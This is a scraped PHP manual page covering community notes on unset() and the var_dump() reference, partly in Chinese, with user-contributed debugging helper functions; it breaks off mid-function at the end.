$D->allocate_mem_D();
$D->__destruct();
unset($D);
?>
phpmanual at kennel17 dot co dot uk 26-Feb-2010 08:55
Note that PHP 4 will generate a warning if you try to unset an array index that doesn't exist and whose parent doesn't exist.

Example:

<?php

  $foo = array();

  unset($foo['Bar']['Baz']);

?>

RESULT: "Notice:  Undefined index:  Bar"

On PHP5 no error is raised, which seems to me like the correct behaviour.

Note that using unset($foo['Bar']) in the above example does not generate a warning in either version.

(Tested on 4.4.9 and 5.2.4)
macnimble at gmail dot com 26-Mar-2009 02:39
Two ways of unsetting values within an array:

<?php
# remove by key:
function array_remove_key ()
{
  $args  = func_get_args();
  return array_diff_key($args[0],array_flip(array_slice($args,1)));
}
# remove by value:
function array_remove_value ()
{
  $args = func_get_args();
  return array_diff($args[0],array_slice($args,1));
}

$fruit_inventory = array(
  'apples' => 52,
  'bananas' => 78,
  'peaches' => 'out of season',
  'pears' => 'out of season',
  'oranges' => 'no longer sold',
  'carrots' => 15,
  'beets' => 15,
);

echo "<pre>Original Array:\n",
     print_r($fruit_inventory,TRUE),
     '</pre>';

# For example, beets and carrots are not fruits...
$fruit_inventory = array_remove_key($fruit_inventory,
                                    "beets",
                                    "carrots");
echo "<pre>Array after key removal:\n",
     print_r($fruit_inventory,TRUE),
     '</pre>';

# Let's also remove 'out of season' and 'no longer sold' fruit...
$fruit_inventory = array_remove_value($fruit_inventory,
                                      "out of season",
                                      "no longer sold");
echo "<pre>Array after value removal:\n",
     print_r($fruit_inventory,TRUE),
     '</pre>';
?>
lion_cat at mail ru 12-Nov-2008 02:22
about unset for arrays

if you unset the last array member
$ar[0]==2
$ar[1]==7
$ar[2]==9

unset ($ar[2])

after addition a new member by $ar[]=7,

you will get
$ar[0]==2
$ar[1]==7
$ar[3]==7,

So, unset has no effect to internal array counter!!!
nox at oreigon dot de 05-Aug-2008 12:24
if you try to unset an object, please be careful about references.

Objects will only free their resources and trigger their __destruct method when *all* references are unsetted.
Even when they are *in* the object... sigh!

<?php

class A {
  function __destruct() {
    echo "cYa later!!\n";
  }
}

$a = new A();
$a -> a = $a;
#unset($a); # Just uncomment, and you'll see

echo "No Message ... hm, what now?\n";
unset($a -> a);
unset($a);

echo "Finally that thing is gone\n";

?>

Of course the object completely dies at the end of the script.
stacionari at gmail dot com 17-Mar-2008 01:41
Sometimes you need to assigne values to an array index in some loop (if, while, foreach etc.) but you wish to set starting index key to some number greater then zero (lets say 5). One idea how to do this is:

<?php
    $values = array(5, 10, 15, 100);  //array of values that we wish to add to our new array

    $myArray = array(4=>0);   //sets starting key to be 4 and assigns some value (lets say 0)
    unset($myArray[4]);   //delete this index key, but preserves further enumeration

    foreach($values as $value){
        $myArray[] = $value;   //asign values to our array
    }

    print_r($myArray);

/* Output:

Array ( [5] => 5 [6] => 10 [7] => 15 [8] => 100 )

*/

?>
pauljamescampbell at gmail dot com 15-Mar-2008 05:22
Here's my variation on the slightly dull unset method. It throws in a bit of 80's Stallone action spice into the mix. Enjoy!

<?php
/**
 * function rambo (first blood)
 *
 * Completely and utterly destroys everything, returning the kill count of victims
 *
 * @param    It don't matter, it's Rambo baby
 * @return    Integer    Body count (but any less than 500 and it's not really worth mentioning)
 */
function rambo() {

    // Get the victims and initiate that body count status
    $victims = func_get_args();
    $body_count = 0;

    // Kill those damn punks
    foreach($victims as $victim) {
        if($death_and_suffering = @unset($victim)) {
            $body_count++;
        }
    }

    // How many kills did Rambo tally up on this mission?
    return($body_count);
}
?>
Kai Kunstmann 10-Mar-2008 05:09
Since unset() is a language construct, it cannot be passed anything other than a variable. It's sole purpose is to "unset" this variable, ie. to remove it from the current scope and destroy it's associated data. This is true especially for reference variables, where not the actual value is destroyed but the reference to that value. This is why you can't wrap 'unset()' in a user defined function: You would either unset a copy of the data if the parameter is passed by value, or you would just unset the reference variable within the functions scope if the parameter is passed by reference. There is no workaround for that, as you cannot pass 'scope' to a function in PHP. Such a function can only work for variables that exist in a common or global scope (compare 'unset($_GLOBALS[variable])').

I don't know how PHP handles garbage collection internally, but I guess this behavior can result in a huge memory leak: if a value variable goes out of scope with a second variable still holding a reference to the in-memory value, then unsetting that reference would still hold the value in memory but potentially unset the last reference to that in-memory data, hence: occupied memory that is rendered useless as you cannot reference it anymore.
Hayley Watson 23-Aug-2007 09:02
In regard to some confusion earlier in these notes about what causes unset() to trigger notices when unsetting variables that don't exist....

Unsetting variables that don't exist, as in
<?php
unset($undefinedVariable);
?>
does not trigger an "Undefined variable" notice. But
<?php
unset($undefinedArray[$undefinedKey]);
?>
triggers two notices, because this code is for unsetting an element of an array; neither $undefinedArray nor $undefinedKey are themselves being unset, they're merely being used to locate what should be unset. After all, if they did exist, you'd still expect them to both be around afterwards. You would NOT want your entire array to disappear just because you unset() one of its elements!
chad 0x40 herballure 0x2e com 31-May-2007 07:11
It is observed on PHP 5.1.6 that <?php unset($this); ?> inside of a method will remove the reference to $this in that method. $this isn't considered "special" as far as unset() is concerned.
09-Feb-2007 08:10
Just to confirm, USING UNSET CAN DESTROY AN ENTIRE ARRAY. I couldn't find reference to this anywhere so I decided to write this.

The difference between using unset and using $myarray=array(); to unset is that obviously the array will just be overwritten and will still exist.

<?php

$myarray=array("Hello","World");

echo $myarray[0].$myarray[1];

unset($myarray);
//$myarray=array();

echo $myarray[0].$myarray[1];

echo $myarray;
?>

Output with unset is:
<?
HelloWorld

Notice: Undefined offset: 0 in C:\webpages\dainsider\myarray.php on line 10

Notice: Undefined offset: 1 in C:\webpages\dainsider\myarray.php on line 10

Output with $myarray=array(); is:
?>

<?
HelloWorld

Notice: Undefined offset: 0 in C:\webpages\dainsider\myarray.php on line 10

Notice: Undefined offset: 1 in C:\webpages\dainsider\myarray.php on line 10

Array
?>
hessodreamy at gmail dot com 17-Jan-2007 03:51
To clarify what hugo dot dworak at gmail dot com said about unsetting things that aren't already set:

unsetting a non-existent key within an array does NOT throw an error.
<?
$array = array();

unset($array[2]);
//this does not throw an error

unset($array[$undefinedVar]);
//Throws an error because of the undefined variable, not because of a non-existent key.
?>
dibakar dot datta at gmail dot com 31-Mar-2006 11:31
Instead of using the unset function  for unregistering your session or other array values you can also do this samll feature and get this task done with just 1 line code.

Suppose, if you like to unregister your session store values.
You can use:

      $_SESSION = array();

Well this syntax saves lot's of time instead of unsetting each values.
clark at everettsconsulting dot com 11-Sep-2005 12:50
In PHP 5.0.4, at least, one CAN unset array elements inside functions from arrays passed by reference to the function.
As implied by the manual, however, one can't unset the entire array by passing it by reference.

<?php
function remove_variable (&$variable)  // pass variable by reference
{
    unset($variable);
}

function remove_element (&$array, $key) // pass array by reference
{
    unset($array[$key]);
}

$scalar = 'Hello, there';
echo 'Value of $scalar is: ';
print_r ($scalar); echo '<br />';
// Value of $scalar is: Hello, there

remove_variable($scalar); // try to unset the variable
echo 'Value of $scalar is: ';
print_r ($scalar); echo '<br />';
// Value of $scalar is: Hello, there

$array = array('one' => 1, 'two' => 2, 'three' => 3);
echo 'Value of $array is: ';
print_r ($array); echo '<br />';
// Value of $array is: Array ( [one] => 1 [two] => 2 [three] => 3 )

remove_variable($array); // try to unset the array
echo 'Value of $array is: ';
print_r ($array); echo '<br />';
// Value of $array is: Array ( [one] => 1 [two] => 2 [three] => 3 )

remove_element($array, 'two'); // successfully remove an element from the array
echo 'Value of $array is: ';
print_r ($array); echo '<br />';
// Value of $array is: Array ( [one] => 1 [three] => 3 )

?>
no at spam dot com 30-Aug-2005 03:22
In addition to what timo dot hummel at 4fb dot de said;

>For the curious: unset also frees memory of the variable used.
>
>It might be possible that the in-memory size of the PHP Interpreter isn't reduced, but your scripts won't touch the memory_limit boundary. Memory is reused if you declare new variables.

It might be worth adding that functions apparently don't free up memory on exit the same way unset does..
Maybe this is common knowledge, but although functions destroys variables on exit, it (apparently) doesn't help the memory.

So if you use huge variables inside functions, be sure to unset them if you can before returning from the function.

In my case, if I did not unset before return, then the script would use 20 MB more of memory than if I did unset.
This was tested with php 5.0.4 on apache 2 on windows xp, with no memory limit.

Before I did the test, I was under the impression that when you exit from functions, the memory used inside it would be cleared and reused. Maybe this should be made clear in the manual, for either unset() or in the chapter for functions.
muhamad_zakaria at yahoo dot com 04-Jul-2005 07:08
We have experienced when we applied 'unset' to the overloaded properties (PHP5), consider the code below:
<?php
    class TheObj {
        public $RealVar1, $RealVar2, $RealVar3, $RealVar4;
        public $Var = array();

        function __set($var, $val) {
            $this->Var[$var] = $val;
        }
        function __get($var) {
            if(isset($this->Var[$var])) return $this->Var[$var];
            else return -1;
        }
    }

    $SomeObj = new TheObj;

    // here we set for real variables
    $SomeObj->RealVar1 = 'somevalue';
    $SomeObj->{'RealVar2'} = 'othervalue';
    $SomeObj->{'RealVar'.(3)} = 'othervaluetoo';
    $SomeObj->{'RealVar'.'4'} = 'anothervalue';

    // and here we set for virtual variables
    $SomeObj->Virtual1 = 'somevalue';
    $SomeObj->{'Virtual2'} = 'othervalue';
    $SomeObj->{'Virtual'.(3)} = 'othervaluetoo';
    $SomeObj->{'Virtual'.'4'} = 'anothervalue';

    // now we will try to unset these variables
    unset($SomeObj->RealVar1);
    unset($SomeObj->{'RealVar'.(3)});

    //the lines below will catch by '__get' magic method since these variables are unavailable anymore
    print $SomeObj->RealVar1."\n";
    print $SomeObj->{'RealVar'.(3)}."\n";

    // now we will try to unset these variables
    unset($SomeObj->Virtual1);
    unset($SomeObj->{'Virtual'.(3)});

    //but, these variables are still available??? eventhough they're "unset"-ed
    print $SomeObj->Virtual1."\n";
    print $SomeObj->{'Virtual'.(3)}."\n";
?>

Please note that PHP doesn't have magic callback to unset overloaded properties. This is the reason why unset($SomeObj->Virtual1) doesn't work.

But it does work when we set 'null' value such as the following code:
<?php
    // now we will set 'null' value instead of using unset statement
    $SomeObj->Virtual1 = null;
    $SomeObj->{'Virtual'.(3)} = null;

    // and now these variables are no longer available
    print $SomeObj->Virtual1."\n";
    print $SomeObj->{'Virtual'.(3)}."\n";
?>
Sound ugly, yeah?

This applied to the "virtual" array variable too, see more at http://bugs.php.net/bug.php?id=33513 (at feedback) about it.
PS: we used PHP version 5.1.0-dev from the CVS snapshot when we wrote the above codes.
franckraynal at free dot fr 26-Feb-2005 05:02
Here is another way to make 'unset' work with session variables from within a function :

<?php
function unsetSessionVariable ($sessionVariableName) {
   unset($GLOBALS[_SESSION][$sessionVariableName]);
}
?>

May it work with others than me...
F.
dan AT --nospam-- cubeland DOT co DOT uk 04-Nov-2004 11:38
dh at argosign dot de -
it is possible to unset globals from within functions thanks to the $GLOBALS array:

<?php
$x = 10;

function test() {
    // don't need to do ' global $x; '
    unset ($GLOBALS['x']);
    echo 'x: ' . $GLOBALS['x'] . '<br />';
}

test();
echo "x: $x<br />";

// will result in
/*
x:
x:
*/
?>
thorry at thorry dot net 05-Aug-2004 02:15
The documentation is not entirely clear when it comes to static variables. It says:

If a static variable is unset() inside of a function, unset() destroys the variable and all its references.

<?php
function foo()
{
   static $a;
   $a++;
   echo "$a\n";
   unset($a);
}

foo();
foo();
foo();
?>

The above example would output:

1
2
3

And it does! But the variable is NOT deleted, that's why the value keeps on increasing, otherwise the output would be:

1
1
1

The references are destroyed within the function, this handeling is the same as with global variables, the difference is a static variable is a local variable.

Be carefull using unset and static values as the output may not be what you expect it to be. It appears to be impossible to destroy a static variable. You can only destroy the references within the current executing function, a successive static statement will restore the references.

The documentation would be better if it would say:
"If a static variable is unset() inside of a function, unset() destroys all references to the variable. "

Example: (tested PHP 4.3.7)
<?php
function foo()
{
   static $a;
   $a++;
   echo "$a\n";
   unset($a);
   echo "$a\n";
   static $a;
   echo "$a\n";
}

foo();
foo();
foo();
?>

Would output:

1

1
2

2
3

3
anon at no spam dot no address dot com 16-Jul-2004 09:19
Adding on to what bond at noellebond dot com said, if you want to remove an index from the end of the array, if you use unset, the next index value will still be what it would have been.

Eg you have
<?php
 $x = array(1, 2);

 for ($i = 0; $i < 5; $i++)
 {
    unset($x[(count($x)-1)]); //remove last set key in the array

    $x[] = $i;
 }
?>

You would expect:
Array([0] => 1, [1] => 4)
as you want it to remove the last set key....

but you actually get
Array ( [0] => 1 [4] => 2 [5] => 3 [6] => 4 )

This is since even though the last key is removed, the auto indexing still keeps its previous value.

The only time where this would not seem right is when you remove a value off the end. I guess different people would want it different ways.

The way around this is to use array_pop() instead of unset() as array_pop() refreshes the autoindexing thing for the array.
<?php
 $x = array(1, 2);

 for ($i = 0; $i < 5; $i++)
 {
    array_pop($x); // removes the last item in the array

    $x[] = $i;
 }
?>

 This returns the expected value of x = Array([0] => 1, [1] => 4);

Hope this helps someone who may need this for some odd reason, I did.
andre at twg dot com dot au 06-Mar-2004 09:16
Only This works with register_globals being 'ON'.

unset( $_SESSION['variable'] );

The above will not work with register_globals turned on (will only work outside of a function).

$variable = $_SESSION['variable'];
unset( $_SESSION['variable'], $variable );

The above will work with register_globals on & inside a function
warhog at warhog dot net 27-Jan-2004 08:52
you may wan't to unset all variables which are defined, here's one way:

<?php

function unset_all_vars($a)
{ foreach($a as $key => $val)
  { unset($GLOBALS[$key]); }
  return serialize($a); }

unset_all_vars(get_defined_vars());

?>

you can also save than a serialized var of the "memory" and perhaps store this in a temporary file.. very usefull if you work with text files and/or file uploads when you've got very large variables.

greetz


打印变量的相关信息

  • ? unset
  • var_export ?
  • PHP Manual
  • Variable handling 函数
  • 打印变量的相关信息

var_dump

(PHP 4, PHP 5, PHP 7)

var_dump — 打印变量的相关信息

说明

var_dump ( mixed $expression [, mixed $... ] ) : void

此函数显示关于一个或多个表达式的结构信息，包括表达式的类型与值。数组将递归展开值，通过缩进显示其结构。

In PHP 5 all public, private and protected properties of objects will be returned in the output.

Tip

和直接将结果输出到浏览器一样，可使用输出控制函数来捕获当前函数的输出，然后(例如)保存到一个 string 中。

参数

expression

你要打印的变量。

返回值

没有返回值。

范例

Example #1 var_dump() 例子

<?php
$a = array(1, 2, array("a", "b", "c"));
var_dump($a);
?>

以上例程会输出：

array(3) {
  [0]=>
  int(1)
  [1]=>
  int(2)
  [2]=>
  array(3) {
    [0]=>
    string(1) "a"
    [1]=>
    string(1) "b"
    [2]=>
    string(1) "c"
  }
}
<?php

$b = 3.1;
$c = true;
var_dump($b, $c);

?>

以上例程会输出：

float(3.1)
bool(true)

参见

  • var_export() - 输出或返回一个变量的字符串表示
  • print_r() - 以易于理解的格式打印变量。

User Contributed Notes

fabien dot villepinte at gmail dot com 27-May-2019 02:59
It's important to note that the output depends on the precision directive.
<?php
var_dump(10000000000000.5); // float(10000000000000)
ini_set('precision',-1);
var_dump(10000000000000.5); // float(10000000000000.5)
?>
Anonymous 18-Jul-2016 06:27
Be careful this outputs to stdout stream (1) instead of the proper stderr stream (2).
b dot bergloev at gmail dot com 31-Oct-2014 11:45
I post a new var_dump function with colors and collapse features. It can also adapt to terminal output if you execute it from there. No need to wrap it in a pre tag to get it to work in browsers.

<?php
function dump_debug($input, $collapse=false) {
    $recursive = function($data, $level=0) use (&$recursive, $collapse) {
        global $argv;

        $isTerminal = isset($argv);

        if (!$isTerminal && $level == 0 && !defined("DUMP_DEBUG_SCRIPT")) {
            define("DUMP_DEBUG_SCRIPT", true);

            echo '<script language="Javascript">function toggleDisplay(id) {';
            echo 'var state = document.getElementById("container"+id).style.display;';
            echo 'document.getElementById("container"+id).style.display = state == "inline" ? "none" : "inline";';
            echo 'document.getElementById("plus"+id).style.display = state == "inline" ? "inline" : "none";';
            echo '}</script>'."\n";
        }

        $type = !is_string($data) && is_callable($data) ? "Callable" : ucfirst(gettype($data));
        $type_data = null;
        $type_color = null;
        $type_length = null;

        switch ($type) {
            case "String":
                $type_color = "green";
                $type_length = strlen($data);
                $type_data = "\"" . htmlentities($data) . "\""; break;

            case "Double":
            case "Float":
                $type = "Float";
                $type_color = "#0099c5";
                $type_length = strlen($data);
                $type_data = htmlentities($data); break;

            case "Integer":
                $type_color = "red";
                $type_length = strlen($data);
                $type_data = htmlentities($data); break;

            case "Boolean":
                $type_color = "#92008d";
                $type_length = strlen($data);
                $type_data = $data ? "TRUE" : "FALSE"; break;

            case "NULL":
                $type_length = 0; break;

            case "Array":
                $type_length = count($data);
        }

        if (in_array($type, array("Object", "Array"))) {
            $notEmpty = false;

            foreach($data as $key => $value) {
                if (!$notEmpty) {
                    $notEmpty = true;

                    if ($isTerminal) {
                        echo $type . ($type_length !== null ? "(" . $type_length . ")" : "")."\n";

                    } else {
                        $id = substr(md5(rand().":".$key.":".$level), 0, 8);

                        echo "<a href=\"javascript:toggleDisplay('". $id ."');\" style=\"text-decoration:none\">";
                        echo "<span style='color:#666666'>" . $type . ($type_length !== null ? "(" . $type_length . ")" : "") . "</span>";
                        echo "</a>";
                        echo "<span id=\"plus". $id ."\" style=\"display: " . ($collapse ? "inline" : "none") . ";\">&nbsp;&#10549;</span>";
                        echo "<div id=\"container". $id ."\" style=\"display: " . ($collapse ? "" : "inline") . ";\">";
                        echo "<br />";
                    }

                    for ($i=0; $i <= $level; $i++) {
                        echo $isTerminal ? "|    " : "<span style='color:black'>|</span>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;";
                    }

                    echo $isTerminal ? "\n" : "<br />";
                }

                for ($i=0; $i <= $level; $i++) {
                    echo $isTerminal ? "|    " : "<span style='color:black'>|</span>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;";
                }

                echo $isTerminal ? "[" . $key . "] => " : "<span style='color:black'>[" . $key . "]&nbsp;=>&nbsp;</span>";

                call_user_func($recursive, $value, $level+1);
            }

            if ($notEmpty) {
                for ($i=0; $i <= $level; $i++) {
                    echo $isTerminal ? "|    " : "<span style='color:black'>|</span>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;";
                }

                if (!$isTerminal) {
                    echo "</div>";
                }

            } else {
                echo $isTerminal ?
                        $type . ($type_length !== null ? "(" . $type_length . ")" : "") . "  " :
                        "<span style='color:#666666'>" . $type . ($type_length !== null ? "(" . $type_length . ")" : "") . "</span>&nbsp;&nbsp;";
            }

        } else {
            echo $isTerminal ?
                    $type . ($type_length !== null ? "(" . $type_length . ")" : "") . "  " :
                    "<span style='color:#666666'>" . $type . ($type_length !== null ? "(" . $type_length . ")" : "") . "</span>&nbsp;&nbsp;";

            if ($type_data != null) {
                echo $isTerminal ? $type_data : "<span style='color:" . $type_color . "'>" . $type_data . "</span>";
            }
        }

        echo $isTerminal ? "\n" : "<br />";
    };

    call_user_func($recursive, $input);
}
?>
stlawson *AT* joyfulearthtech *DOT* com 10-Aug-2011 09:31
<?php
/**
 * Better GI than print_r or var_dump -- but, unlike var_dump, you can only dump one variable.
 * Added htmlentities on the var content before echo, so you see what is really there, and not the mark-up.
 *
 * Also, now the output is encased within a div block that sets the background color, font style, and left-justifies it
 * so it is not at the mercy of ambient styles.
 *
 * Inspired from:     PHP.net Contributions
 * Stolen from:       [highstrike at gmail dot com]
 * Modified by:       stlawson *AT* JoyfulEarthTech *DOT* com
 *
 * @param mixed $var  -- variable to dump
 * @param string $var_name  -- name of variable (optional) -- displayed in printout making it easier to sort out what variable is what in a complex output
 * @param string $indent -- used by internal recursive call (no known external value)
 * @param unknown_type $reference -- used by internal recursive call (no known external value)
 */
function do_dump(&$var, $var_name = NULL, $indent = NULL, $reference = NULL)
{
    $do_dump_indent = "<span style='color:#666666;'>|</span> &nbsp;&nbsp; ";
    $reference = $reference.$var_name;
    $keyvar = 'the_do_dump_recursion_protection_scheme'; $keyname = 'referenced_object_name';

    // So this is always visible and always left justified and readable
    echo "<div style='text-align:left; background-color:white; font: 100% monospace; color:black;'>";

    if (is_array($var) && isset($var[$keyvar]))
    {
        $real_var = &$var[$keyvar];
        $real_name = &$var[$keyname];
        $type = ucfirst(gettype($real_var));
        echo "$indent$var_name <span style='color:#666666'>$type</span> = <span style='color:#e87800;'>&amp;$real_name</span><br>";
    }
    else
    {
        $var = array($keyvar => $var, $keyname => $reference);
        $avar = &$var[$keyvar];

        $type = ucfirst(gettype($avar));
        if($type == "String") $type_color = "<span style='color:green'>";
        elseif($type == "Integer") $type_color = "<span style='color:red'>";
        elseif($type == "Double"){ $type_color = "<span style='color:#0099c5'>"; $type = "Float"; }
        elseif($type == "Boolean") $type_color = "<span style='color:#92008d'>";
        elseif($type == "NULL") $type_color = "<span style='color:black'>";

        if(is_array($avar))
        {
            $count = count($avar);
            echo "$indent" . ($var_name ? "$var_name => ":"") . "<span style='color:#666666'>$type ($count)</span><br>$indent(<br>";
            $keys = array_keys($avar);
            foreach($keys as $name)
            {
                $value = &$avar[$name];
                do_dump($value, "['$name']", $indent.$do_dump_indent, $reference);
            }
            echo "$indent)<br>";
        }
        elseif(is_object($avar))
        {
            echo "$indent$var_name <span style='color:#666666'>$type</span><br>$indent(<br>";
            foreach($avar as $name=>$value) do_dump($value, "$name", $indent.$do_dump_indent, $reference);
            echo "$indent)<br>";
        }
        elseif(is_int($avar)) echo "$indent$var_name = <span style='color:#666666'>$type(".strlen($avar).")</span> $type_color".htmlentities($avar)."</span><br>";
        elseif(is_string($avar)) echo "$indent$var_name = <span style='color:#666666'>$type(".strlen($avar).")</span> $type_color\"".htmlentities($avar)."\"</span><br>";
        elseif(is_float($avar)) echo "$indent$var_name = <span style='color:#666666'>$type(".strlen($avar).")</span> $type_color".htmlentities($avar)."</span><br>";
        elseif(is_bool($avar)) echo "$indent$var_name = <span style='color:#666666'>$type(".strlen($avar).")</span> $type_color".($avar == 1 ? "TRUE":"FALSE")."</span><br>";
        elseif(is_null($avar)) echo "$indent$var_name = <span style='color:#666666'>$type(".strlen($avar).")</span> {$type_color}NULL</span><br>";
        else echo "$indent$var_name = <span style='color:#666666'>$type(".strlen($avar).")</span> ".htmlentities($avar)."<br>";

        $var = $var[$keyvar];
    }

    echo "</div>";
}
?>
kobrasrealm at gmail dot com 23-Jun-2011 01:28
I wrote this dandy little function for using var_dump() on HTML documents so I don't have to view the source.

<?php
function htmldump($variable, $height="9em") {
echo "<pre style=\"border: 1px solid #000; height: {$height}; overflow: auto; margin: 0.5em;\">";
var_dump($variable);
echo "</pre>\n";
}
?>

You can pass arguments like this:
<?php
$sql = mysql_query("SELECT id, name, value FROM table WHERE cond = 'value'");
$s = mysql_fetch_assoc($sql);

// Dump variable containing the result of the MySQL query
var_dump($s);
?>

The second parameter lets you specify the height of the box. Default is 9em, but if you're expecting a huge output you'll probably want a higher value.

<?php
var_dump($s, "17em");
?>

Happy var_dumping.
divinity76 at gmail dot com 23-Apr-2011 06:53
a html-encoded var_dump

<?php
function htmlvardump(){ob_start(); $var = func_get_args(); call_user_func_array('var_dump', $var); echo htmentities(ob_get_clean());}
?>

(creds: ekneuss / mOo @ irc.freenode.net/#php )
david at exposito dot mobi 07-Feb-2010 11:36
If you want to save exactly the content of an array into a variable to save ir later for example, use this:

<?php $xml = var_export($xml, true); ?>

You'll have in your same variable the content readable, instead of written down or anything else
egorinsk at gmail com 02-Feb-2009 04:08
Note that var_dump reset()'s array internal pointer!
rich dot schu at gmail dot com 09-Apr-2008 05:56
Keep in mind if you have xdebug installed it will limit the var_dump() output of array elements and object properties to 3 levels deep.

To change the default, edit your xdebug.ini file and add the folllowing line:
xdebug.var_display_max_depth=n

More information here:
http://www.xdebug.org/docs/display
highstrike at gmail dot com 08-Jan-2008 05:33
made 2 nifty functions based of what some people contributed here. Hope you find them usefull

usage ... call for the dump function. EG: dump($array, "Array dump");

<?php
////////////////////////////////////////////////////////
// Function:         dump
// Inspired from:     PHP.net Contributions
// Description: Helps with php debugging

function dump(&$var, $info = FALSE)
{
    $scope = false;
    $prefix = 'unique';
    $suffix = 'value';

    if($scope) $vals = $scope;
    else $vals = $GLOBALS;

    $old = $var;
    $var = $new = $prefix.rand().$suffix; $vname = FALSE;
    foreach($vals as $key => $val) if($val === $new) $vname = $key;
    $var = $old;

    echo "<pre style='margin: 0px 0px 10px 0px; display: block; background: white; color: black; font-family: Verdana; border: 1px solid #cccccc; padding: 5px; font-size: 10px; line-height: 13px;'>";
    if($info != FALSE) echo "<b style='color: red;'>$info:</b><br>";
    do_dump($var, '$'.$vname);
    echo "</pre>";
}

////////////////////////////////////////////////////////
// Function:         do_dump
// Inspired from:     PHP.net Contributions
// Description: Better GI than print_r or var_dump

function do_dump(&$var, $var_name = NULL, $indent = NULL, $reference = NULL)
{
    $do_dump_indent = "<span style='color:#eeeeee;'>|</span> &nbsp;&nbsp; ";
    $reference = $reference.$var_name;
    $keyvar = 'the_do_dump_recursion_protection_scheme'; $keyname = 'referenced_object_name';

    if (is_array($var) && isset($var[$keyvar]))
    {
        $real_var = &$var[$keyvar];
        $real_name = &$var[$keyname];
        $type = ucfirst(gettype($real_var));
        echo "$indent$var_name <span style='color:#a2a2a2'>$type</span> = <span style='color:#e87800;'>&amp;$real_name</span><br>";
    }
    else
    {
        $var = array($keyvar => $var, $keyname => $reference);
        $avar = &$var[$keyvar];

        $type = ucfirst(gettype($avar));
        if($type == "String") $type_color = "<span style='color:green'>";
        elseif($type == "Integer") $type_color = "<span style='color:red'>";
        elseif($type == "Double"){ $type_color = "<span style='color:#0099c5'>"; $type = "Float"; }
        elseif($type == "Boolean") $type_color = "<span style='color:#92008d'>";
        elseif($type == "NULL") $type_color = "<span style='color:black'>";

        if(is_array($avar))
        {
            $count = count($avar);
            echo "$indent" . ($var_name ? "$var_name => ":"") . "<span style='color:#a2a2a2'>$type ($count)</span><br>$indent(<br>";
            $keys = array_keys($avar);
            foreach($keys as $name)
            {
                $value = &$avar[$name];
                do_dump($value, "['$name']", $indent.$do_dump_indent, $reference);
            }
            echo "$indent)<br>";
        }
        elseif(is_object($avar))
        {
            echo "$indent$var_name <span style='color:#a2a2a2'>$type</span><br>$indent(<br>";
            foreach($avar as $name=>$value) do_dump($value, "$name", $indent.$do_dump_indent, $reference);
            echo "$indent)<br>";
        }
        elseif(is_int($avar)) echo "$indent$var_name = <span style='color:#a2a2a2'>$type(".strlen($avar).")</span> $type_color$avar</span><br>";
        elseif(is_string($avar)) echo "$indent$var_name = <span style='color:#a2a2a2'>$type(".strlen($avar).")</span> $type_color\"$avar\"</span><br>";
        elseif(is_float($avar)) echo "$indent$var_name = <span style='color:#a2a2a2'>$type(".strlen($avar).")</span> $type_color$avar</span><br>";
        elseif(is_bool($avar)) echo "$indent$var_name = <span style='color:#a2a2a2'>$type(".strlen($avar).")</span> $type_color".($avar == 1 ? "TRUE":"FALSE")."</span><br>";
        elseif(is_null($avar)) echo "$indent$var_name = <span style='color:#a2a2a2'>$type(".strlen($avar).")</span> {$type_color}NULL</span><br>";
        else echo "$indent$var_name = <span style='color:#a2a2a2'>$type(".strlen($avar).")</span> $avar<br>";

        $var = $var[$keyvar];
    }
}
?>
vladimir at pixeltomorrow dot com 10-Sep-2007 12:45
You can also use the PEAR package available at http://pear.php.net/package/Var_Dump

which parses the variable content in a very pleasant manner, a lot more easier to "follow" than the built-in var_dump() function.

Of course there are many others, but I prefer this one, because it's simply to use.

Just add at the begining of your file:

<?php

require('Var_Dump.php'); // make sure the pear package path is set in php.ini
Var_Dump::displayInit(array('display_mode' => 'HTML4_Text'), array('mode' => 'normal','offset' => 4));
?>

then, instead of simply using var_dump($foo), use:

<?php

Var_Dump::display($foo);

?>

Read the documentation if you're looking for different output layouts.

Cheers!
Vladimir Ghetau
thriller dot ze at gmail dot com 21-Aug-2007 01:49
As Bryan said, it is possible to capture var_dump() output to a string. But it's not quite exact if the dumped variable contains HTML code.

You can use this instead:

<?php
echo '<pre>'; // This is for correct handling of newlines
ob_start();
var_dump($var);
$a=ob_get_contents();
ob_end_clean();
echo htmlspecialchars($a,ENT_QUOTES); // Escape every HTML special chars (especially > and < )
echo '</pre>';
?>
php at mikeboers dot com 28-Jun-2007 01:08
Howdy!

I am working on a pretty large project where I needed to dump a human readable form of whatever into the log files... and I thought var_export was too difficult to read. BigueNique at yahoo dot ca has a nice solution, although I needed to NOT modify whatever was being passed to dump.

So borrowing heavily from BigueNique's (just reworked his function) and someone's idea over in the object cloning page, I came up with the following function.

It makes a complete copy of whatever object you initially pass it, including all recursive definitions and outside objects references, then does the same thing as BigueNique's function. I also heavily reworked what it output, to suit my needs.

<?php

function var_log(&$varInput, $var_name='', $reference='', $method = '=', $sub = false) {

    static $output ;
    static $depth ;

    if ( $sub == false ) {
        $output = '' ;
        $depth = 0 ;
        $reference = $var_name ;
        $var = serialize( $varInput ) ;
        $var = unserialize( $var ) ;
    } else {
        ++$depth ;
        $var =& $varInput ;

    }

    // constants
    $nl = "\n" ;
    $block = 'a_big_recursion_protection_block';

    $c = $depth ;
    $indent = '' ;
    while( $c -- > 0 ) {
        $indent .= '|  ' ;
    }

    // if this has been parsed before
    if ( is_array($var) && isset($var[$block])) {

        $real =& $var[ $block ] ;
        $name =& $var[ 'name' ] ;
        $type = gettype( $real ) ;
        $output .= $indent.$var_name.' '.$method.'& '.($type=='array'?'Array':get_class($real)).' '.$name.$nl;

    // havent parsed this before
    } else {

        // insert recursion blocker
        $var = Array( $block => $var, 'name' => $reference );
        $theVar =& $var[ $block ] ;

        // print it out
        $type = gettype( $theVar ) ;
        switch( $type ) {

            case 'array' :
                $output .= $indent . $var_name . ' '.$method.' Array ('.$nl;
                $keys=array_keys($theVar);
                foreach($keys as $name) {
                    $value=&$theVar[$name];
                    var_log($value, $name, $reference.'["'.$name.'"]', '=', true);
                }
                $output .= $indent.')'.$nl;
                break ;

            case 'object' :
                $output .= $indent.$var_name.' = '.get_class($theVar).' {'.$nl;
                foreach($theVar as $name=>$value) {
                    var_log($value, $name, $reference.'->'.$name, '->', true);
                }
                $output .= $indent.'}'.$nl;
                break ;

            case 'string' :
